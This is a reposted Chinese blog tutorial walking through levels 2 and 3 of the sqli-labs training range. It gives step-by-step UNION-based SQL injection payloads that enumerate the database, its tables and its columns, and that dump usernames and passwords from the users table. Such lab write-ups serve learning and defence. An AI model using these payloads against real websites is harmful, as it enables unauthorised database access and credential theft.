0


【sqli靶场】第二关和第三关通关思路

🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502


一、sqli靶场第二关

1.1 判断注入类型

输入?id=1',显示语法错误。
输入?id=1'',显示语法错误。
输入?id=1/1,正常回显。
输入?id=1/0,爆出如下页面:

证明存在数字型注入。

1.2 判断数据表中的列数

介绍一个方法:二分法

其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。

输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。

用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。

继续,输入?id=1 order by 3 --+,正常回显。

输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。

说明列数为3。

1.3 使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:

输入?id=0 union select 1,2,database()--+爆出数据库名

1.4 使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

构造:

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出了表名:

1.5 爆出users表中的列名

构造:

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

1.6 爆出users表中的数据

查看users表中所有的用户:

?id=0 union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0 union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

二、sqli靶场第三关

2.1 判断注入类型

输入?id=1',显示语法错误。

输入?id=1'',正常回显。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。

判断为字符型注入(初步判断为单引号闭合)。

2.2 观察报错

报错信息为''1'') LIMIT 0,1'

进一步判断为')闭合

输入?id=1') --+,正常回显。

2.3 判断数据表中的列数

输入?id=1') order by 3 --+,正常回显。

输入?id=1') order by 4 --+,显示超出。

用二分法与order by确定列数为3

2.4 使用union联合查询

输入?id=0') union select 1,2,3--+,判断回显位,页面如下:

输入?id=0') union select 1,2,database()--+爆出数据库名:

2.5 使用group_concat()函数

输入:

?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

2.6 爆出users表中的列名

输入:

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

2.7 爆出users表中的数据

查看users表中所有的用户:

?id=0') union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0') union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

标签: 学习 安全 web安全

本文转载自: https://blog.csdn.net/m0_71369515/article/details/134938683
版权归原作者 Filotimo_ 所有, 如有侵权,请联系我们删除。

“【sqli靶场】第二关和第三关通关思路”的评论:

还没有评论